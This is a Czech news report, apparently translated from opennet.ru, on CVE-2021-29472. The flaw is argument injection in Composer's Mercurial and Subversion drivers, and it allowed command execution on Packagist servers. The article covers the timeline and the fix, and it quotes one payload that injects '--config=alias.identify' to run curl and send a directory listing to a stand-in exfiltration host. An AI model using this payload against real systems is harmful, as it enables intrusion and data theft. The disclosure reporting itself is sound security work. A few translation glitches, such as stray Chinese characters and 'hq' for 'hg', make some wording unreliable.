Zranitelnost v balíčkovém manažeru Composer, která umožňuje kompromitaci PHP repozitáře Packagist

V správci závislostí Composer byla zjištěna kritická zranitelnost (CVE-2021-29472), která umožňuje provádět libovolné příkazy v systému při zpracování balíku se speciálně formátovanou hodnotou URL, která určuje adresu pro stahování zdrojových kódů. Problém se projevuje v komponentách GitDriver, SvnDriver a HgDriver, používaných při práci se systémy správy zdrojového kódu Git, Subversion a Mercurial. Zranitelnost byla odstraněna ve verzích Composer 1.10.22 a 2.0.13.

Je zvlášť důležité poznamenat, že problém se主要ně dotkl ve výchozím nastavení používaného repozitáře balíčků Composer, Packagist, který zahrnuje 306 tisíc balíčků pro vývojáře v jazyce PHP a měsíčně obsluhuje více než 1,4 miliardy stažení. Experiment ukázal, že pokud by útočníci měli informace o problému, mohli by získat kontrolu nad infrastrukturou Packagist a odchytit přihlašovací údaje maintainerů nebo přesměrovat stahování balíčků na cizí server, což by vedlo k dodání variant balíčků s malwarovými změnami za účelem vložení backdooru během instalace závislostí.

Nebezpečí pro koncové uživatele je omezeno tím, že obsah souboru composer.json obvykle určuje sám uživatel, a odkazy na zdrojové kódy se předávají při přístupu k cizím repozitářům, které jsou obvykle důvěryhodné. Hlavní úder zasáhl repozitář Packagist.org a službu Private Packagist, které vyvolávají Composer s předáním dat od uživatelů. Útočníci mohli provést svůj kód na serverech Packagist umístěním speciálně formátovaného balíku.

Tým Packagist odstranil zranitelnost do 12 hodin po obdržení zprávy o zranitelnosti. Výzkumníci soukromě upozornili vývojáře Packagist 22. dubna a ve stejný den byla problém vyřešen. Veřejná aktualizace Composeru s odstraněním zranitelnosti byla zveřejněna 27. dubna a detaily byly odhaleny 28. dubna. Audit protokolů na serverech Packagist neodhalil s zranitelností související podezřelou aktivitu.

Problém je způsoben chybou v kódu pro validaci URL v kořenovém souboru composer.json a v odkazech pro stažení zdrojových textů. Chyba je v kódu přítomna od listopadu 2011. V Packagist jsou pro organizaci stahování kódu bez vazby na konkrétní systém správy zdrojových textů použity speciální vrstvy, které se vykonávají pomocí zavolání „fromShellCommandline“ s předáním argumentů příkazového řádku. Například pro git se volá příkaz „git ls-remote —heads $URL“, kde je URL zpracováno metodou „ProcessExecutor::escape($url)“, která escapuje potenciálně nebezpečné konstrukce, jako jsou „$(…)“ nebo „`…`“.

Podstatou problému je, že metoda ProcessExecutor::escape neescapovala sekvenci „—“, což umožnilo uvést v URL jakýkoli další parametr volání. Takové escapování chybělo v ovladačích GitDriver.php, SvnDriver.php a HgDriver.php. Útok přes GitDriver.php byl zmařen tím, že příkaz „git ls-remote“ nepodporoval uvedení dalších argumentů po cestě. Možný útok na HgDriver.php nastal prostřednictvím předání parametru „—config“ utilitě „hq“, která umožňuje provádět jakýkoli příkaz prostřednictvím manipulace s nastavením „alias.identify“. Například pro stažení a provedení kódu prostřednictvím spuštění utilitky curl bylo možné uvést: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Umístěním testovacího balíčku s takovým URL na Packagist, vědci potvrdili, že po umístění na jejich server byl přijat HTTP požadavek z jednoho z servery Packagist v AWS, obsahující výpis souborů v aktuálním adresáři.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster